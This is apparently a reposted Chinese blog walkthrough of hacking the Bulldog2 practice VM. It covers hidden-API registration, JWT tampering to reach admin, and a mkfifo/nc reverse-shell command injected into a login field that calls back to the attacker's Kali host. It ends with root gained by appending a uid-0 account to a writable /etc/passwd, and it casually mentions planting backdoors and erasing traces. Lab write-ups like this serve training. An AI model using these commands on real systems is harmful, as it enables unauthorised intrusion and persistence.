渗透测试实战3——bulldog2靶机入侵

一、实验环境

  • Kali攻击机:192.168.247.149
  • bulldog 2靶机:192.168.247.150、(192.168.247.151)

开始之前,需先登录bulldog2。账号:dirty,密码:pass,并使其获取IP

二、实验步骤

(一)主动信息收集

1、扫描存活主机

2、扫描开放端口(192.168.247.150和192.168.247.151开放端口相同)

3、开放端口详细信息

4、网站版本

searchsploit nginx

在Kali集成的文件中没有发现Nginx1.14的版本,如果有,可以利用版本的漏洞进行渗透。

(二)端口探测

可以看到该靶机只开放了80端口, 接下来肯定是要探测目录了。

1、目录探测

默认字典探测

使用大字典探测

通过目录猜解发现没有可利用的目录,那根据个人经验估计突破口肯定在js文件里。

2、查看js文件

        我们在查看页面的时候可以看到,页面上有个注册功能,但是我们点击出现一个通知 ' 遗憾的是,出于安全考虑,我们目前不接受注册。如果需要,请联系a客户支持代表创建一个商业帐户。',可以尝试利用该漏洞注册一个新账户。

  • 尝试注册新用户

使用 ' register ' 作为关键字,对4个js文件进行搜索,只有main开头的js文件中包含register关键词,对该js文件进行研究,可发现现以下有用信息,如图所示:

根据js上的定义,我们可以使用 post提交新账户信息来完成注册,但是注意这里有2点要求:

  • Content-Type 必须要是:application/json
  • post 数据包内容处,必须要严格按照js代码里的规范

不能注册,我们可以使用新账户和密码进行登录,使用BurpSuite进行抓包,然后按照上面的要求对其进行改包。

可以看到返回true,注册成功了。使用新创建的(用户名:admin123,密码:123admin)账号进行登录,登录成功。

进入该账户界面,里面没有可利用的信息,此时我们可以向上提权,将该账户修改为管理员账户。

3、垂直提权

退出当前登陆账户,回到注册点,再次登陆,并进行抓包

然后Forword,就可以看到服务器返回的数据包

接下来我们就来解密一下看这个tonken传递了什么内容,我们可以去Google搜索 ' JWT解密 ' (注:一般第一条就是我们想要的),解密网址:https://jwt.io

我们把那个tonken后面的编码复制进去查询一下看看,出现如下图所示的结果:

此时我们看到一个可疑的参数:' auth_level ',通过名字就应该知道是判断用户权限的,我们使用这个参数去刚刚保存的几个js文件里搜索看看,只有main开头的js文件中包含auth_level关键词,如图:

根据代码我们可以推断出,下一步我们只需要把 ' standard_user ' 替换成 ' master_admin_user ' 就行,如图:

接下来复制修改后的新编码,替换原来的编码,注:后面明文处也要修改成“master_admin_user”,如图:

改完之后,放包,我们已经成功变成了 admin 账户。(到这一步,不要退出,下面的操作会用着)

下面我们就直接在修改密码处执行漏洞拿反弹shell

4、获取Shell

点击Admin,输入已存在的用户名和错误的密码进行登录,使用BurpSuite进行抓包,在密码后面添加一句话反弹shell命令,并在Kali测试机上监听端口1234。如图所示:

此处的反弹shell命令为:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.247.149 >/tmp/f;          //192.168.247.149为Kali测试机IP地址 

成功拿到shell。

5、提权

python -c 'impport pty;pty.spawn("/bin/bash")'                       //将简单的Shell转换成为完全交互式的TTY

切换到/etc,查看passwd文件权限,发现该文件可读、可写、可执行,如图:

查看用户

新建一个具有root权限的用户,并追加到passwd文件中。

  • perl -le 'print crypt("pass","aa")'            //perl需要一个加密盐对密码pass进行加密,如这里使用了aa(salt指加密中用到的随机字符串,用不同的salt可以生成不同的加密结果)。
  • echo 'cqq:aaW3cJZ7OSoQM:0:0:cqq:/root:/bin/bash' >> passwd

我们只需要修改3处(上面命令中标红的三处):一个是名字(cqq)、一个是刚刚编译出来的密文、一个是跟名字一样。此处的 0:0 切记不可修改,相信小伙伴们都了解过passwd文件的权限类型。

再次查看passwd文件,新用户添加成功。

  

确认一切都没问题了,就可以直接输入命令:su cqq,密码为刚刚设置的:pass。成功拿到root权限,并拿到flag,如图:

终极三连问

之后便可以留后门,清理痕迹,奔跑了。。。

三、总结

1、不管是靶机的安全检测还是平时的渗透测试工作,我们都不应该去忽略js文件;

2、页面如果有注册但又不能注册时,我们可以使用一个新用户进行登录,然后使用“register”作为关键词在js文件中查找相关源代码,对注册新用户的要求,注册新用户,通过BurpSuite抓包按照代码的要求对其进行改包,使其注册成功;

3、垂直提权,通过修改服务器对普通用户登录的回包(auth_level),将其变成具有管理员权限的用户;

4、获得shell——在Kali上监听端口1234;登录管理员账户,在数据包的密码后面添加一句话木马(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.247.149 1234 >/tmp/f;)获得反弹shell;

5、python -c ‘import pty;pty.spawn(“/bin/bash”) —— 将shell转换为完全交互式的TTY;

6、发现/etc/passwd具有写入权限,新建一个具有root权限的用户,并追加到passwd文件中。然后 su cqq 进行检验。

  • perl -le ‘print crypt(“pass”,”aa”)’        //对密码pass使用加密盐aa对其进行加密
  • echo 'cqq:aaW3cJZ7OSoQM:0:0:cqq:/root:/bin/bash' >> passwd

猜你喜欢

转载自blog.csdn.net/weixin_43625577/article/details/89513392
今日推荐